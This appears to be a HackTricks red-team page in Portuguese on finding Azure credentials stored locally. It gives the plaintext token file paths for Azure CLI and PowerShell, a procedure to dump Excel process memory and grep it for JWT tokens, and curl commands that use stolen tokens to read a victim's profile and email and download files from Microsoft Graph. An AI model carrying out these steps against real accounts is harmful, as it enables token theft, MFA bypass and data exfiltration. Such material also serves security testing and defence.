Az - Credenciais de Nuvem Local

Reading time: 4 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Armazenamento Local de Tokens e Considerações de Segurança

Azure CLI (Interface de Linha de Comando)

Tokens e dados sensíveis são armazenados localmente pelo Azure CLI, levantando preocupações de segurança:

  1. Tokens de Acesso: Armazenados em texto simples dentro de accessTokens.json localizado em C:\Users\<username>\.Azure.
  2. Informações de Assinatura: azureProfile.json, no mesmo diretório, contém detalhes da assinatura.
  3. Arquivos de Log: A pasta ErrorRecords dentro de .azure pode conter logs com credenciais expostas, como:
  • Comandos executados com credenciais incorporadas.
  • URLs acessadas usando tokens, potencialmente revelando informações sensíveis.

Azure PowerShell

Azure PowerShell também armazena tokens e dados sensíveis, que podem ser acessados localmente:

  1. Tokens de Acesso: TokenCache.dat, localizado em C:\Users\<username>\.Azure, armazena tokens de acesso em texto simples.
  2. Segredos de Principal de Serviço: Estes são armazenados sem criptografia em AzureRmContext.json.
  3. Recurso de Salvamento de Token: Os usuários têm a capacidade de persistir tokens usando o comando Save-AzContext, que deve ser usado com cautela para evitar acesso não autorizado.

Ferramentas Automáticas para encontrá-los

Tokens na memória

Como explicado em este vídeo, alguns softwares da Microsoft sincronizados com a nuvem (Excel, Teams...) podem armazenar tokens de acesso em texto claro na memória. Portanto, apenas dumps da memória do processo e grepando por tokens JWT podem conceder acesso a vários recursos da vítima na nuvem, contornando o MFA.

Passos:

  1. Faça o dump dos processos do excel sincronizados com o usuário EntraID com sua ferramenta favorita.
  2. Execute: string excel.dmp | grep 'eyJ0' e encontre vários tokens na saída.
  3. Encontre os tokens que mais lhe interessam e execute ferramentas sobre eles:
bash
# Check the identity of the token
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq

# Check the email (you need a token authorized in login.microsoftonline.com)
curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq

# Download a file from Teams
## You need a token that can access graph.microsoft.com
## Then, find the <site_id> inside the memory and call
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq

## Then, list one drive
curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq

## Finally, download a file from that drive:
curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'

Observe que esse tipo de tokens de acesso também pode ser encontrado dentro de outros processos.

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks